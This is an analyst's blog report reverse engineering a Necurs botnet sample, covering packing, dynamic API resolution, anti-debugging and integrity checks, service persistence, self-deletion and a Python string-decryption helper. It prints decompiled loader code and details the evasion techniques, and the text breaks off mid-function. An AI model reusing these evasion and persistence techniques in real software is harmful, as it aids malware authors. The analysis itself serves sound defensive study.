Skip to main content

Malware Report - Necurs Botnet

·6990 words·33 mins·
Reversing Malware Malware Analysis Reverse Engineering Trojan Necurs
Sidharth AKA retr0ds
Author
Sidharth AKA retr0ds
Malware analyst
Table of Contents

Malware Analysis Report - Necurs Botnet
#

The analyzed sample is a multi stage malware (Trojan Botnet + Dropper) belonging to the Necurs family that employs heavy packing, runtime decryption, and in-memory execution to evade detection.

It impersonates legitimate Mozilla binaries, performs extensive anti analysis and anti VM checks and establishes service based persistence under elevated privileges.

The malware dynamically resolves APIs, enforces single instance execution, and includes self deletion logic to reduce forensic artifacts and cover it’s tracks.

Additionally, it contains conditional kernel mode support, enabling enhanced stealth and control if a compatible driver is present.

Key Behaviors

  • Multi-stage loader with runtime-decrypted .text sections
  • Dynamic API resolution and syscall integrity verification
  • Anti-debugging, anti-sandbox, and anti-VM techniques
  • Service-based persistence
  • Single-instance enforcement via named events
  • Self-deletion and cleanup for anti-forensics
  • Optional kernel-assisted rootkit functionality via driver handshake

md5 : 5a592d401148c1408708cd47ad9daa83 sha256 : 9cf11143c7a4f0129cabfe4474c70838a8c010595b676fdc6f3ae7f4b0ecff5e The filesize is around 118Kb Target - Windows

Basic Analysis
#

Detect It Easy
#

A very basic analysis on Detect It Easy shows us that

image

It is a 32 bit UPX packed binary

So we go ahead and unpack it, which still continues to show us a high compressed .text section

image

Which makes me wonder if there is some sort of shellcode stored in there, but inside,text would mean it would be changed internally

Certficate
#

VS_VERSION_INFO StringFileInfo 000004b0 Comments LegalCopyright License: GPL 2 CompanyName Mozilla Foundation FileDescription FileVersion 30.3 ProductVersion 30.3 InternalName LegalTrademarks Mozilla OriginalFilename crashreporter.exe ProductName Firefox BuildID 20150205194243 VarFileInfo Translation

We can see the original File Name is potentially crashreporter.exe and the certificate is signed with Mozilla, so this appears to be some sort of Trojan Horse

FLoss
#

Running floss on here shows us a whole bunch of stuff that gives us a pretty good Idea on what the file is supposed to be doing FLOSS OUTPUT

  • **KERNEL32.DLL
  • ADVAPI32.dll
  • GDI32.dll
  • msvcrt.dll
  • ole32.dll
  • OLEAUT32.dll
  • SHELL32.dll
  • USER32.dll**
  • LCMapStringA
  • VirtualProtectEx
  • OpenWaitableTimerA
  • AddAtomW
  • GetOEMCP
  • lstrcmpiW
  • GetModuleHandleA
  • CheckNameLegalDOS8Dot3W
  • GetProcAddress
  • GetVersionExW
  • FormatMessageW
  • GetProcessHeap
  • GetTickCount
  • GetStartupInfoW
  • RtlUnwind
  • FindFirstFileW
  • LocalFree
  • InterlockedDecrement
  • GetConsoleFontSize
  • CloseHandle
  • InterlockedExchange
  • OutputDebugStringW
  • UnhandledExceptionFilter
  • GetCurrentProcess
  • ExpandEnvironmentStringsA
  • HeapSetInformation
  • Sleep
  • GetCurrentThreadId
  • GetLocalTime
  • IsBadReadPtr
  • HeapAlloc
  • SetUnhandledExceptionFilter
  • FindClose
  • GetSystemDefaultLCID
  • InterlockedCompareExchange
  • GetVersion
  • InterlockedIncrement
  • HeapFree
  • WideCharToMultiByte
  • LoadLibraryA
  • GetFileAttributesW
  • GetFileAttributesA
  • GetSystemTimeAsFileTime
  • GetModuleHandleW
  • GetEnvironmentStringsW
  • GlobalAddAtomA
  • CheckNameLegalDOS8Dot3A
  • TerminateProcess
  • ExitProcess
  • **RegQueryValueExW
  • RegOpenKeyExW
  • RegQueryValueExA
  • RegCloseKey**
  • GetTextExtentPoint32A
  • CreateFontIndirectA
  • exit

Capa
#

┌──────────────────────────────────┬───────────────────────────────────────────────────────────────┐
│ ATT&CK Tactic                    │ ATT&CK Technique                                              │
├──────────────────────────────────┼───────────────────────────────────────────────────────────────┤
│ DEFENSE EVASION                  │ Obfuscated Files or Information [T1027]                       │
│ DISCOVERY                        │ System Information Discovery [T1082]                          │
└──────────────────────────────────┴───────────────────────────────────────────────────────────────┘
┌──────────────────────────┬──────────────────────────────────────────────────────────────────────────
│ MBC Objective            │ MBC Behavior
├──────────────────────────┼──────────────────────────────────────────────────────────────────────────
│ ANTI-BEHAVIORAL ANALYSIS │ Debugger Detection::Anti-debugging Instructions [B0001.034]
│ DATA                     │ Encode Data::XOR [C0026.002]
│ DEFENSE EVASION          │ Obfuscated Files or Information::Encoding-Standard Algorithm [E1027.m02]
│ DISCOVERY                │ System Information Discovery [E1082]
│ FILE SYSTEM              │ Get File Attributes [C0049]
└──────────────────────────┴──────────────────────────────────────────────────────────────────────────
┌─────────────────────────────────────────────────┬─────────────────────────────────────────────────┐
│ Capability                                      │ Namespace                                       │
├─────────────────────────────────────────────────┼─────────────────────────────────────────────────┤
│ execute anti-debugging instructions (3 matches) │ anti-analysis/anti-debugging/debugger-detection │
│ encode data using XOR                           │ data-manipulation/encoding/xor                  │
│ contains PDB path                               │ executable/pe/pdb                               │
│ query environment variable                      │ host-interaction/environment-variable 
│ get file attributes                             │ host-interaction/file-system/meta   

Dynamic Analysis
#

Simple Run
#

  • Self Deleting File
  • File Asks for UAC Prompt

ProcWatch
#

As we can see the file,

image

Launches a service under the Path C:/Windows/Installer/{GUID}/syshost.exe Potentially meaning the syshost.exe could be the file that is launched

So we go to that directory and take the md5 of syshost

image

It has the same md5 and Sha, essentially signalling it’s the same file

So it’s safe to assume that it copies itself into that folder and launches itself as a service

SystemInformer
#

Now that we know it’s a service, now using system Informer, we search for the service under the same name, the process just deletes itself

image

we can see the binary path as well here

So this is possibly why the UAC was required, for it to copy itself onto Windows/Installer and start a service

If it isn’t an admin it doesn’t seem to do much

Procmon
#

NEC.exe
#

Using Procmon also confirms, that the nec file doesn’t do anything but mostly just created and drop 2 files accordingly

1 - C:/Windows/Installer/{GUID}/syshost.exe That one was obvious we have previous seen that one as well

2 - C:/Users/Ryuzaki/AppData/Local/Temp/2797f56f.tmp

This one is new let’s go check it out

Upon taking the md5 we see it’s the same file under a different name, and it seems to be missing as well

syshost.exe
#

We can see syshost doing a bunch of connects and reconnects

They seem to be operating on 3 different protocols

  1. DNS - Dns lookups for various IPs
  2. NTP - For keeping Time properply
  3. TCP - (This could be where the C2 could be working out of)
  4. UDP

Regshot
#

Using regshot we get to see a lot of registry keys was changed and a lot of folders were affected, I don’t attribute all of this to the malware, but a few of them might be. But rather than wasting time by scouring through all those keys I’ll go forward with reverse engineering the malware

Reverse Engineering
#

We can start wirh reverse engineering the First stage of the Malware which is

1st Stage - NEC.exe
#

So this is the start of the malware,

Main
#

image

and there seems to be a bunch of stuff going on here I saw a call to GetOEMCP, which seems to indicate some sort of Anit VM analysis check, in which case the process would exit out

But ultimately as I debug more and more I realise, not much is happening and it all comes down to here

image

sub_402296
#

Inside this we see it’s trying to access

  dword_4166AC = 3345;
  GetFileAttributesW(L"9tiwluu4eskjytrvfv5m");
  GetModuleHandleW(0);
  GetFileAttributesA("4zf1on8d12ukf20");
  dword_4166B0 = 64;
  v10 = sub_40200A();

But then since those files don’t exist, it continues on And yet again there seems to be a lot of confusing things going on, And if you do remember, DIE showed there is still an encrypted .text area inside this binary somewhere

So now, we continue debugging with this in mind, stepping over various functions to see if we hit anything suspicious

And at the end of the function we see

So now following this jmp [ebp+arg_0]

we seem to be jumping to an offset sub_40614C

so we produce underfine and generate the code for this offset, and we continue on

sub_40614C AKA Main_Main
#

So now inside Main Main we see a lot of PEB accessing, all of which is hinting dowards

Dynamic API resolving
#

and what this essentially does is it get’s LoadLibraryA and Get Proc Address out of the bag and keeps it stored, which hints more towards more APIs being loaded now

so apart from the static api’s we saw when we checked out strings using FLOSS we are now going to see more dynamic apis being resolved

so as I continue debugging

image

And we come across this one particular function,

sub_406C7C AKA Api_Array_Init
#

image

image

APIS are :

Dynamic Decryption - 0040614C addr = base @0x401000

INDEX - API 0 - VirtualAlloc 1 - VirtualFree 2 - VirtualProtect 3 - UnmapViewOfFile 4 - GetProcAddress 5 - LoadLibraryA 6 - RtlCompressBuffer 7 - RtlDecompressBuffer 8 - FlsFree And one DLL 9 - kernel32dll

They seem to be initializing an array with the API names, kind of like an Name Table

And then the immediate function below that

sub_40640B AKA API_resolve
#

Essentially takes those API Names and just resolves them into their respective addresses

So as I continue to debug now I see all these APis are properly resolved into their respective Addresses and are currently on the stack

image

And now as we continue to debug we see VirtualAlloc being called and we see

Main Main being copied into the new virtual alloc space

image

After which,

sub_406E00 AKA overwrite_return_address
#

is being called which

image

Seems to overwrite the return address on the stack with the next instruction Which is at offset unk_1E00E8

So now when we follow the offset we get to,

sub_1E00E8
#

Which starts off from where we left,

so now we see the API_resolve being called another time, and so on

And as we continue debugging we get through other functions, which seem to be using VirtualALloc and VirtualProtect to allocate, change permissions and copy the own file contents to another area and as we continue debugging we see

sub_1E03F3 AKA Large_API_Resolve
#

Which has LoadLibrary and GetProcAddress inside while loops

which got me intrigued, which means it’s loading up a lot of APIS

so when we set the debug point we see it accessing an array of offsets inside .text which look like this

image

And it takes all of these offsets, finds the appropriate name of the function and replces them with the actual function address

image
image

So we let this run and finally inspect all the apis which we get, which are

APIS resolved
#

RESOLVED APIS and offsets here

  • .text:0040D000 dd offset advapi32_CryptDestroyKey
  • .text:0040D004 dd offset advapi32_OpenServiceW
  • .text:0040D008 dd offset advapi32_DeleteService
  • .text:0040D00C dd offset advapi32_StartServiceW
  • .text:0040D010 dd offset advapi32_RegOpenKeyW
  • .text:0040D014 dd offset advapi32_RegSetValueExW
  • .text:0040D018 dd offset advapi32_RegFlushKey
  • .text:0040D01C dd offset advapi32_RegCloseKey
  • .text:0040D020 dd offset advapi32_SetServiceStatus
  • .text:0040D024 dd offset advapi32_SetEntriesInAclW
  • .text:0040D028 dd offset advapi32_InitializeSecurityDescriptor
  • .text:0040D02C dd offset advapi32_SetSecurityDescriptorDacl
  • .text:0040D030 dd offset advapi32_AllocateAndInitializeSid
  • .text:0040D034 dd offset advapi32_GetTokenInformation
  • .text:0040D038 dd offset advapi32_EqualSid
  • .text:0040D03C dd offset advapi32_FreeSid
  • .text:0040D040 dd offset advapi32_CryptGetHashParam
  • .text:0040D044 dd offset advapi32_CryptReleaseContext
  • .text:0040D048 dd offset advapi32_CryptAcquireContextW
  • .text:0040D04C dd offset advapi32_CryptCreateHash
  • .text:0040D050 dd offset advapi32_CryptHashData
  • .text:0040D054 dd offset advapi32_CryptDeriveKey
  • .text:0040D058 dd offset advapi32_CryptEncrypt
  • .text:0040D05C dd offset advapi32_CryptDestroyHash
  • .text:0040D060 dd offset advapi32_OpenProcessToken
  • .text:0040D064 dd offset advapi32_LookupPrivilegeValueW
  • .text:0040D068 dd offset advapi32_AdjustTokenPrivileges
  • .text:0040D06C dd offset advapi32_OpenSCManagerA
  • .text:0040D070 dd offset advapi32_CreateServiceA
  • .text:0040D074 dd offset advapi32_CloseServiceHandle
  • .text:0040D078 dd offset advapi32_StartServiceA
  • .text:0040D07C dd offset advapi32_OpenSCManagerW
  • .text:0040D080 dd offset advapi32_RegisterServiceCtrlHandlerW
  • .text:0040D084 dd offset advapi32_StartServiceCtrlDispatcherW
  • .text:0040D088 dd offset advapi32_SetTokenInformation
  • .text:0040D08C dd offset advapi32_RegCreateKeyW
  • .text:0040D090 dd offset advapi32_RegQueryValueExW
  • .text:0040D094 dd offset advapi32_CryptVerifySignatureW
  • .text:0040D098 dd offset advapi32_CryptImportKey
  • .text:0040D09C dd offset advapi32_CryptGenRandom
  • .text:0040D0A0 dd offset advapi32_DuplicateTokenEx
  • .text:0040D0A4 dd offset advapi32_CheckTokenMembership
  • .text:0040D0A8 dd offset advapi32_CreateProcessAsUserW
  • .text:0040D0AC dd offset advapi32_CreateServiceW
  • .text:0040D0B0 dd 0
  • .text:0040D0B4 dd offset dnsapi_DnsQuery_W
  • .text:0040D0B8 dd offset dnsapi_DnsFree
  • .text:0040D0BC dd 0
  • .text:0040D0C0 dd offset gdi32_DeleteObject
  • .text:0040D0C4 dd offset gdi32_CreatePalette
  • .text:0040D0C8 dd 0
  • .text:0040D0CC dd offset kernel32_CreateEventW
  • .text:0040D0D0 dd offset kernel32_GetCurrentThread
  • .text:0040D0D4 dd offset kernel32_GetSystemDirectoryW
  • .text:0040D0D8 dd offset kernel32_SetUnhandledExceptionFilter
  • .text:0040D0DC dd offset kernel32_SetErrorMode
  • .text:0040D0E0 dd offset kernel32_CopyFileW
  • .text:0040D0E4 dd offset kernel32_CreateDirectoryW
  • .text:0040D0E8 dd offset kernel32_GetWindowsDirectoryW
  • .text:0040D0EC dd offset kernel32_GetModuleFileNameW
  • .text:0040D0F0 dd offset kernel32_OpenEventW
  • .text:0040D0F4 dd offset kernel32_OpenProcess
  • .text:0040D0F8 dd offset kernel32_GetCommandLineW
  • .text:0040D0FC dd offset kernel32_GetUserDefaultUILanguage
  • .text:0040D100 dd offset kernel32_GetUserDefaultLangID
  • .text:0040D104 dd offset kernel32_GetSystemDefaultLangID
  • .text:0040D108 dd offset kernel32_UnmapViewOfFile
  • .text:0040D10C dd offset kernel32_ResumeThread
  • .text:0040D110 dd offset kernel32_SetThreadContext
  • .text:0040D114 dd offset kernel32_GetThreadContext
  • .text:0040D118 dd offset kernel32_VirtualFreeEx
  • .text:0040D11C dd offset kernel32_GetVolumeNameForVolumeMountPointW
  • .text:0040D120 dd offset kernel32_FlushFileBuffers
  • .text:0040D124 dd offset kernel32_GetExitCodeProcess
  • .text:0040D128 dd offset kernel32_MoveFileExW
  • .text:0040D12C dd offset kernel32_SetFileAttributesW
  • .text:0040D130 dd offset ntdll_RtlTryEnterCriticalSection
  • .text:0040D134 dd offset kernel32_LocalFree
  • .text:0040D138 dd offset kernel32_WideCharToMultiByte
  • .text:0040D13C dd offset kernel32_MapViewOfFile
  • .text:0040D140 dd offset kernel32_CreateFileMappingW
  • .text:0040D144 dd offset kernel32_Process32NextW
  • .text:0040D148 dd offset kernel32_Process32FirstW
  • .text:0040D14C dd offset kernel32_CreateToolhelp32Snapshot
  • .text:0040D150 dd offset kernel32_GetSystemTimeAsFileTime
  • .text:0040D154 dd offset kernel32_GetSystemTime
  • .text:0040D158 dd offset kernel32_FileTimeToSystemTime
  • .text:0040D15C dd offset kernel32_SetThreadAffinityMask
  • .text:0040D160 dd offset kernel32_CreateRemoteThread
  • .text:0040D164 dd offset kernel32_WaitForMultipleObjects
  • .text:0040D168 dd offset kernel32_SetLastError
  • .text:0040D16C dd offset kernel32_ReadProcessMemory
  • .text:0040D170 dd offset kernel32_CreateThread
  • .text:0040D174 dd offset kernel32_WaitForSingleObject
  • .text:0040D178 dd offset kernel32_GetExitCodeThread
  • .text:0040D17C dd offset kernel32_ExitProcess
  • .text:0040D180 dd offset kernel32_VirtualProtect
  • .text:0040D184 dd offset kernel32_LoadLibraryExA
  • .text:0040D188 dd offset kernel32_IsProcessorFeaturePresent
  • .text:0040D18C dd offset kernel32_GetProcessHeap
  • .text:0040D190 dd offset ntdll_RtlAllocateHeap
  • .text:0040D194 dd offset kernel32_HeapFree
  • .text:0040D198 dd offset kernel32_LoadLibraryW
  • .text:0040D19C dd offset kernel32_GetModuleHandleW
  • .text:0040D1A0 dd offset kernel32_GetVersionExW
  • .text:0040D1A4 dd offset ntdll_VerSetConditionMask
  • .text:0040D1A8 dd offset kernel32_VerifyVersionInfoW
  • .text:0040D1AC dd offset kernel32_VirtualAllocEx
  • .text:0040D1B0 dd offset kernel32_QueueUserWorkItem
  • .text:0040D1B4 dd offset kernel32_WriteProcessMemory
  • .text:0040D1B8 dd offset kernel32_VirtualAlloc
  • .text:0040D1BC dd offset kernel32_LoadLibraryA
  • .text:0040D1C0 dd offset kernel32_FreeLibrary
  • .text:0040D1C4 dd offset kernel32_VirtualFree
  • .text:0040D1C8 dd offset kernel32_GetCurrentThreadId
  • .text:0040D1CC dd offset kernel32_SystemTimeToFileTime
  • .text:0040D1D0 dd offset kernel32_SystemTimeToTzSpecificLocalTime
  • .text:0040D1D4 dd offset kernel32_GetLastError
  • .text:0040D1D8 off_40D1D8 dd offset kernel32_GetCurrentProcess
  • .text:0040D1D8 ; DATA XREF: .text:00401035↑r
  • .text:0040D1DC dd offset kernel32_CreateProcessW
  • .text:0040D1E0 dd offset kernel32_GetFileSize
  • .text:0040D1E4 dd offset kernel32_ReadFile
  • .text:0040D1E8 dd offset kernel32_WriteFile
  • .text:0040D1EC dd offset kernel32_DeleteFileW
  • .text:0040D1F0 dd offset kernel32_GetTempPathW
  • .text:0040D1F4 dd offset ntdll_RtlInitializeCriticalSection
  • .text:0040D1F8 dd offset ntdll_RtlEnterCriticalSection
  • .text:0040D1FC dd offset ntdll_RtlLeaveCriticalSection
  • .text:0040D200 dd offset kernel32_MultiByteToWideChar
  • .text:0040D204 dd offset kernel32_Sleep
  • .text:0040D208 dd offset kernel32_CreateFileW
  • .text:0040D20C dd offset kernel32_GetCurrentProcessId
  • .text:0040D210 dd offset kernel32_DeviceIoControl
  • .text:0040D214 dd offset kernel32_CloseHandle
  • .text:0040D218 dd offset kernel32_GetSystemDirectoryA
  • .text:0040D21C dd offset kernel32_GetTickCount
  • .text:0040D220 dd offset kernel32_GetModuleFileNameA
  • .text:0040D224 dd offset kernel32_WinExec
  • .text:0040D228 off_40D228 dd offset kernel32_GetModuleHandleA
  • .text:0040D228 ; DATA XREF: .text:0040101B↑r
  • .text:0040D22C off_40D22C dd offset kernel32_GetProcAddress
  • .text:0040D22C ; DATA XREF: .text:00401022↑r
  • .text:0040D230 dd offset kernel32_TerminateProcess
  • .text:0040D234 dd 0
  • .text:0040D238 dd offset shell32_ShellExecuteA
  • .text:0040D23C dd offset shell32_IsUserAnAdmin
  • .text:0040D240 dd offset shell32_SHGetFolderPathW
  • .text:0040D244 dd 0
  • .text:0040D248 dd offset user32_RegisterClassExW
  • .text:0040D24C dd offset user32_CreateMenu
  • .text:0040D250 dd offset user32_AppendMenuW
  • .text:0040D254 dd offset user32_CreatePopupMenu
  • .text:0040D258 dd offset user32_EnableScrollBar
  • .text:0040D25C dd offset user32_GetPropA
  • .text:0040D260 dd offset user32_RemovePropA
  • .text:0040D264 dd offset user32_GetMenuItemRect
  • .text:0040D268 dd offset user32_GetClientRect
  • .text:0040D26C dd offset user32_CreateWindowExW
  • .text:0040D270 dd offset user32_DestroyWindow
  • .text:0040D274 dd offset user32_SendInput
  • .text:0040D278 dd offset user32_GetSystemMetrics
  • .text:0040D27C dd offset user32_UnregisterClassW
  • .text:0040D280 dd offset user32_SetPropA
  • .text:0040D284 dd offset user32_ExitWindowsEx
  • .text:0040D288 dd offset ntdll_NtdllDefWindowProc_W
  • .text:0040D28C dd 0
  • .text:0040D290 dd offset userenv_ExpandEnvironmentStringsForUserW
  • .text:0040D294 dd offset userenv_DestroyEnvironmentBlock
  • .text:0040D298 dd offset userenv_CreateEnvironmentBlock
  • .text:0040D29C dd 0
  • .text:0040D2A0 dd offset uxtheme_IsThemeActive
  • .text:0040D2A4 dd 0
  • .text:0040D2A8 dd offset wininet_InternetConnectW
  • .text:0040D2AC dd offset wininet_InternetCrackUrlW
  • .text:0040D2B0 dd offset wininet_HttpOpenRequestW
  • .text:0040D2B4 dd offset wininet_HttpQueryInfoW
  • .text:0040D2B8 dd offset wininet_InternetCloseHandle
  • .text:0040D2BC dd offset wininet_InternetSetOptionW
  • .text:0040D2C0 dd offset wininet_InternetOpenW
  • .text:0040D2C4 dd offset wininet_HttpSendRequestW
  • .text:0040D2C8 dd offset wininet_HttpAddRequestHeadersW
  • .text:0040D2CC dd offset wininet_InternetQueryOptionW
  • .text:0040D2D0 dd offset wininet_InternetReadFile
  • .text:0040D2D4 dd 0
  • .text:0040D2D8 dd offset ws2_32_listen
  • .text:0040D2DC dd offset ws2_32_bind
  • .text:0040D2E0 dd offset ws2_32_htons
  • .text:0040D2E4 dd offset ws2_32_recv
  • .text:0040D2E8 dd offset ws2_32_getaddrinfo
  • .text:0040D2EC dd offset ws2_32_shutdown
  • .text:0040D2F0 dd offset ws2_32_send
  • .text:0040D2F4 dd offset ws2_32_sendto
  • .text:0040D2F8 dd offset ws2_32_accept
  • .text:0040D2FC dd offset ws2_32_recvfrom
  • .text:0040D300 dd offset ws2_32___WSAFDIsSet
  • .text:0040D304 dd offset ws2_32_select
  • .text:0040D308 dd offset ws2_32_socket
  • .text:0040D30C dd offset ws2_32_connect
  • .text:0040D310 dd offset ws2_32_FreeAddrInfoW
  • .text:0040D314 dd offset ws2_32_WSAStartup
  • .text:0040D318 dd offset ws2_32_getsockname
  • .text:0040D31C dd offset ws2_32_getpeername
  • .text:0040D320 dd offset ws2_32_closesocket
  • .text:0040D324 dd offset ws2_32_setsockopt
  • .text:0040D328 dd offset ws2_32_inet_addr
  • .text:0040D32C dd 0
  • .text:0040D330 dd offset msvcrt__unlink
  • .text:0040D334 dd offset msvcrt_fclose
  • .text:0040D338 dd offset msvcrt_fwrite
  • .text:0040D33C dd offset msvcrt_fopen
  • .text:0040D340 dd offset msvcrt_sprintf
  • .text:0040D344 dd offset msvcrt_free
  • .text:0040D348 dd offset msvcrt__time64
  • .text:0040D34C dd offset msvcrt__wcsicmp
  • .text:0040D350 dd offset msvcrt__wcsdup
  • .text:0040D354 dd offset msvcrt__vsnwprintf
  • .text:0040D358 dd offset msvcrt_malloc
  • .text:0040D35C dd offset msvcrt_memcpy
  • .text:0040D360 dd offset msvcrt_memset
  • .text:0040D364 dd offset msvcrt__except_handler3
  • .text:0040D368 dd offset msvcrt__strcmpi
  • .text:0040D36C dd offset msvcrt_getenv
  • .text:0040D370 dd offset msvcrt_memmove
  • .text:0040D374 dd offset msvcrt_calloc
  • .text:0040D378 dd offset msvcrt_wcschr
  • .text:0040D37C dd offset msvcrt_wcsstr
  • .text:0040D380 dd offset msvcrt__wcsnicmp
  • .text:0040D384 dd offset msvcrt__wtoi
  • .text:0040D388 dd offset msvcrt__ftol
  • .text:0040D38C dd offset msvcrt_wcsrchr
  • .text:0040D390 dd offset msvcrt__errno
  • .text:0040D394 dd offset msvcrt__itoa
  • .text:0040D398 dd offset msvcrt_qsort
  • .text:0040D39C dd offset msvcrt_bsearch
  • .text:0040D3A0 dd offset msvcrt_strcspn
  • .text:0040D3A4 dd offset msvcrt_realloc

After all that is done

Now we finally get to another important function which is

sub_1E0C39
#

int __cdecl sub_1E0C39(int (*a1)(void), int a2, unsigned int a3, int a4, unsigned int a5, int a6, int a7)
{
  struct _EXCEPTION_REGISTRATION_RECORD *i; // eax
  unsigned int Handler; // edx
  int *j; // edx
  unsigned int v10; // eax
  int (*v11)(void); // ecx
  int savedregs; // [esp+0h] [ebp+0h] BYREF

  for ( i = NtCurrentTeb()->NtTib.ExceptionList; ; i = i->Next )
  {
    Handler = (unsigned int)i->Handler;
    if ( Handler < a3 || Handler >= a4 + a3 )
      break;
  }
  for ( j = &savedregs; ; j = (int *)*j )
  {
    v10 = j[1];
    if ( v10 >= a5 && v10 < a6 + a5 )
      break;
  }
  v11 = a1;
  if ( a2 == 1 )
    ((void (__stdcall *)(_DWORD))a1)(0);
  return v11();
}

Now this function acts as the gateway for us to the encrypted part of the .text portion, so we set a breakpoint at jmp ecx, at the very end of the function and we

image

Continue onwards in this,

and we see the instruction have to be literally defined again in IDA, and as we scroll we see it seems to have overwritten our API_Array_Init function and etc

image

sub_00406232 AKA jmp_ecx_main
#

This is a very important function as the malware’s core is carried out here

So far inside the malware, it was all mostly just setting up and all the malicious code continues like so in the function from here on out,

And as this seems to be under a SEH prolog, so it’s compiler generated, which means the malware creator has potentially employed a bunch of SEH exception handler based control flow re-direction

This is what the function looks like and we’ll slowly continue to debug this function

// write access to const memory has been detected, the output may be wrong!
// bad sp value at call has been detected, the output may be wrong!

void __noreturn jmp_ecx_main()
{
  int v0; // eax
  int v1; // eax
  int v2; // eax
  int v3; // esi
  int v4; // eax
  char v5; // al
  int v6; // eax
  const unsigned __int16 *v7; // esi
  int v8; // eax
  char v9[520]; // [esp+Ch] [ebp-2B4h] BYREF
  char v10[128]; // [esp+214h] [ebp-ACh] BYREF
  int v11[4]; // [esp+294h] [ebp-2Ch] BYREF
  int v12; // [esp+2A4h] [ebp-1Ch]
  CPPEH_RECORD ms_exc; // [esp+2A8h] [ebp-18h]
  int savedregs; // [esp+2C0h] [ebp+0h]

  v12 = ((int (*)(void))kernel32_GetCommandLineW)();
  v0 = ((int (__cdecl *)(int, int))msvcrt_wcsstr)(v12, 4251872);
  if ( v0 )
  {
    v1 = ((int (__cdecl *)(int))msvcrt__wtoi)(v0 + 10);
    v2 = ((int (__cdecl *)(void *, _DWORD, int))kernel32_OpenProcess)(&unk_100000, 0, v1);
    v3 = v2;
    if ( v2 )
    {
      ((void (__cdecl *)(int, int))kernel32_WaitForSingleObject)(v2, -1);
      ((void (__cdecl *)(int))kernel32_CloseHandle)(v3);
    }
  }
  if ( !((int (__cdecl *)(_DWORD, char *, int))kernel32_GetModuleFileNameW)(0, v9, 260) )
    goto LABEL_28;
  dword_410200[573] = ((int (__cdecl *)(_DWORD))kernel32_GetModuleHandleW)(0);
  if ( !sub_40B130(0, v9) )
    goto LABEL_28;
  if ( sub_40503C() )
    dword_410200[572] = sub_404E50(-1, 0);
  sub_40763E();
  if ( !((int (__cdecl *)(char *, int, int))((char *)&locret_4021E8 + 3))(v9, 260, 4251860) )
    sub_407522(v9);
  if ( !sub_40B38D(2015630262, -1061518090, v10, 64, 2)
    || sub_401D67(4262944, 64, 4251840, (char)v10)
    || sub_401D67(4262816, 64, 4251820, (char)v10) )
  {
LABEL_28:
    ((void (__stdcall *)(_DWORD, struct _EH3_EXCEPTION_REGISTRATION *, PVOID, PSCOPETABLE_ENTRY, DWORD, int))kernel32_ExitProcess)(
      0,
      ms_exc.registration.Next,
      ms_exc.registration.ExceptionHandler,
      ms_exc.registration.ScopeTable,
      ms_exc.registration.TryLevel,
      savedregs);
    JUMPOUT(0x406490);
  }
  v4 = sub_4012B9(0, 0);
  dword_410200[576] = v4;
  if ( v4 )
  {
    if ( v4 != -1 )
    {
      v5 = ((int (*)(void))kernel32_GetCurrentProcessId)();
      sub_401592(v5);
LABEL_21:
      if ( ((int (__cdecl *)(int, int))msvcrt_wcsstr)(v12, 4251800) )
      {
        v11[0] = 4249328;
        v11[1] = (int)&loc_4061BB;
        v11[2] = 0;
        v11[3] = 0;
        ((void (__cdecl *)(int *))advapi32_StartServiceCtrlDispatcherW)(v11);
      }
      else
      {
        v6 = ((int (__cdecl *)(int, int))msvcrt_wcsstr)(v12, 4251788);
        v7 = (const unsigned __int16 *)v6;
        if ( v6 )
        {
          v8 = ((int (__cdecl *)(int, int))msvcrt_wcschr)(v6 + 10, 32);
          if ( !v8 )
            v8 = (int)&v7[wcslen(v7)];
          sub_40C564(4262688, v7 + 5, 2 * ((v8 - (int)v7) >> 1) - 10);
        }
        sub_405BAC(0);
      }
      goto LABEL_28;
    }
  }
  else if ( !((int (__cdecl *)(void *, _DWORD, int))kernel32_OpenEventW)(&unk_100000, 0, 4262944)
         && !((int (__cdecl *)(void *, _DWORD, int))kernel32_OpenEventW)(&unk_100000, 0, 4262816) )
  {
    if ( !((int (*)(void))loc_405D81)() )
      sub_4077B9(0, 0);
    goto LABEL_21;
  }
  sub_4077B9(0, 0);
}

So as wel go in, it first checks whether the program was launched with a /pid: NUMBER command-line argument and if it’s open then it accesses that process with only SYNCHRONIZE rights and blocks on it using WaitForSingleObject until the target process exits.

It uses the PID as a coordination mechanism so this instance stays dormant until anotherIprocess terminates.

Then it gets the module FileName and the Handle then uses that to conduct it’s own integrity check under the function

sub_0040B130 AKA integrity_check
#

It maps it’s own image, and parses it to check if nothing has been tampered with and in which case it continues, else it exits

It is potentially checking for inline hooks etc.

Another Integrity check in the function right below

sub_40503C AKA NtQueryVirtualMemory_check
#

This again checks if NtQueryVirtualMemroy still resides only inside the .text part of ntdll and if not then it means it has been tampered with

sub_40763E AKA Token_Manipulation
#

image

This function opens its own process token and disables UAC virtualization so the program interacts with the real filesystem and registry rather than Windows per‑user virtualized views, ensuring predictable low‑level behavior for later stages

Then in the next function sub_4021EB it takes out file name and combines it with .tmp and calls the next function with this as the argument

sub_4021EB AKA check file_flush
#

It checks if our files which is C:/Users/Ryuzaki/Mal_Int/nec.exe.tmp exists and if it does, then it writes to it, 0s, basically zeroing out the entire file and then deletes it to remove forensic traces.

if file doesn’t exist (which is our case, it just continues to delete and return)

Then it goes onto the next function

sub_40B38D AKA string decryption
#

Which takes two args a1 and a2, decrypts it and writes it to a3

The python equivalent is over here
#

def ror1(byte):

    return ((byte >> 1) | ((byte & 1) << 7)) & 0xFF

def decrypt_string(encrypted_bytes):
    decrypted = bytearray()
    for b in encrypted_bytes:
        d = (ror1(b) - 104) & 0xFF  
        if d == 0:
            break
        decrypted.append(d)
    return decrypted.decode('utf-8')


encrypted = bytearray([
    0xA2, 0xB4, 0xC3, 0xD1, 0x00  
])

plaintext = decrypt_string(encrypted)
print("Decrypted string:", plaintext)


utf16_bytes = plaintext.encode('utf-16')
print("UTF-16 bytes:", utf16_bytes)

And we get the value “NitrGB”

Which looks really suspicious, like a potential key, or perhaps some windows variable So we go ahead and google this

image

And surprisingly enough we see what type of file it is

It is a well known botnet, the Trojan:Win32/Necurs

Ideally, we would have continued looking up the yara rules and the necessary, related items and existing reports to get a full fledged idea

But anywho, we keep continuing to dig more into the file now

The next two functions

image
image

Just simply join the two strings together and keep them in memory

image

Next function is

sub_4012B9 AKA rootkit_capability
#

// write access to const memory has been detected, the output may be wrong!
int __usercall sub_4012B9@<eax>(int a1@<edi>, __int64 a2)
{
  bool v2; // zf
  unsigned __int64 v3; // rax
  int v4; // eax
  int result; // eax
  int v6; // [esp+0h] [ebp-30h]
  int v7[2]; // [esp+4h] [ebp-2Ch] BYREF
  int v8; // [esp+Ch] [ebp-24h]
  int v9; // [esp+10h] [ebp-20h]
  int v10; // [esp+14h] [ebp-1Ch]
